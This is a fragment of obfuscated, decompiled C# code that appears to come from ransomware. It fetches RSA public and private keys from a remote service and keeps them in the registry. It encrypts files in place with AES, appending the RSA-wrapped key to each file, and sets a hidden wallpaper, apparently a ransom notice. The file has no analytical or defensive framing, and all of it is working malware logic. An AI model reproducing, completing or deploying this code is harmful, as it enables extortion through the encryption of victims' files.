public bool method_12(string string_7) { bool flag = false; string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text2 = (string)Delegate169.smethod_0(text, "Public", ""); if (Delegate98.smethod_1(text2, "")) { while (!flag) { string text3 = this.method_9(49, Delegate179.smethod_0(new object[] { ":", this.int_2, ":", this.int_3 })); string object_ = this.method_8(Delegate124.smethod_0(string_7, text3)); if (Delegate98.smethod_0(object_, "")) { Delegate127.smethod_0(text, "Public", object_, RegistryValueKind.String); return(true); } Delegate104.smethod_0(this.int_1); } return(false); } Delegate100.smethod_2("Public already exsits"); return(true); }
public void method_18(string string_7) { string text = Delegate124.smethod_0(Class3.smethod_0 <string>(1039446687u, 331866531155298722uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); Delegate124.smethod_0(text, "\\Files"); string text3 = Delegate124.smethod_0(string_7, ".tmp"); Delegate24.smethod_0(); Delegate189.smethod_0(true); RSACryptoServiceProvider object_ = Delegate33.smethod_0(); string text4 = (string)Delegate169.smethod_0(text2, "Private", "No Private Key was found!"); if (Delegate98.smethod_0(text4, "")) { Delegate164.smethod_0(object_, text4); byte[] byte_ = new byte[344]; FileStream object_2 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.Read); Delegate187.smethod_0(object_2, -344L, SeekOrigin.End); Delegate190.smethod_0(object_2, byte_, 0, 344); string text5 = Delegate191.smethod_0(Delegate166.smethod_0(), byte_); byte[] byte_2 = Delegate146.smethod_0(text5); byte[] array = Delegate168.smethod_1(object_, byte_2, false); Delegate153.smethod_1(array); Delegate162.smethod_0(object_2); FileStream object_3 = Delegate35.smethod_0(string_7, FileMode.Open, FileAccess.ReadWrite); Delegate193.smethod_0(object_3, Delegate192.smethod_0(object_3) - 344L); Delegate162.smethod_0(object_3); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { using (AesManaged aesManaged = Delegate36.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_1(aesManaged, array, array), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesManaged, 256); Delegate183.smethod_1(aesManaged, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } Delegate100.smethod_1(string_7); Delegate130.smethod_1(text3, string_7); } }
public void method_17(string string_7) { string text = Delegate124.smethod_0(Class5.smethod_0 <string>(99835095u, 15038730591190274483uL), this.string_3); string text2 = Delegate124.smethod_0(text, "\\Keys"); string text3 = Delegate124.smethod_0(text, "\\Files"); string text4 = Delegate124.smethod_0(string_7, ".tmp"); AesCryptoServiceProvider object_ = Delegate24.smethod_0(); RSACryptoServiceProvider object_2 = Delegate33.smethod_0(); string text5 = (string)Delegate169.smethod_0(text2, "Public", "No Public Key was found!"); if (Delegate98.smethod_0(text5, "")) { Delegate164.smethod_0(object_2, text5); byte[] byte_ = Delegate168.smethod_0(object_2, Delegate148.smethod_0(object_), false); string object_3 = Delegate153.smethod_1(byte_); using (FileStream fileStream = Delegate32.smethod_0(text4, FileMode.Create)) { using (AesCryptoServiceProvider aesCryptoServiceProvider = Delegate24.smethod_0()) { using (CryptoStream cryptoStream = Delegate26.smethod_0(fileStream, Delegate149.smethod_0(aesCryptoServiceProvider, Delegate148.smethod_0(object_), Delegate148.smethod_0(object_)), CryptoStreamMode.Write)) { using (FileStream fileStream2 = Delegate32.smethod_0(string_7, FileMode.Open)) { Delegate183.smethod_0(aesCryptoServiceProvider, 256); Delegate183.smethod_1(aesCryptoServiceProvider, 128); int num; while ((num = Delegate185.smethod_0(fileStream2)) != -1) { Delegate184.smethod_0(cryptoStream, (byte)num); } } } } } StreamWriter object_4 = Delegate34.smethod_0(text4, true); Delegate187.smethod_0(Delegate186.smethod_0(object_4), 0L, SeekOrigin.End); Delegate150.smethod_0(object_4, object_3); Delegate188.smethod_0(object_4); Delegate127.smethod_0(text3, string_7, Delegate96.smethod_0(object_3), RegistryValueKind.DWord); Delegate100.smethod_1(string_7); Delegate130.smethod_1(text4, string_7); } }
public void method_10() { string string_ = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img"); string string_2 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".bmp"); string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); byte[] byte_ = (byte[])Delegate169.smethod_0(text, "Wallpaper", "Can't receive wallpaper"); Delegate170.smethod_0(string_, byte_); Bitmap object_ = (Bitmap)Delegate171.smethod_0(string_); Delegate172.smethod_0(object_, string_2); GClass0.SystemParametersInfo(20, 0, string_2, 3); RegistryKey object_2 = Delegate173.smethod_0(Registry.CurrentUser, "Control Panel\\Desktop", true); Delegate174.smethod_0(object_2, "WallpaperStyle", 0); Delegate175.smethod_0(object_2); Delegate128.smethod_0(string_, FileAttributes.Hidden); Delegate128.smethod_0(string_2, FileAttributes.Hidden); GClass0.MoveFileEx(string_, null, 4); }
public bool method_13(string string_7) { bool flag = false; string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text2 = (string)Delegate169.smethod_0(text, "Private", ""); string text3 = this.method_9(51, ""); if (Delegate98.smethod_0(text2, "")) { flag = true; } while (!flag) { string object_ = this.method_8(Delegate124.smethod_0(string_7, text3)); if (Delegate98.smethod_0(object_, "503")) { Delegate127.smethod_0(text, "Private", object_, RegistryValueKind.String); flag = true; } Delegate104.smethod_0(this.int_1); } return(flag); }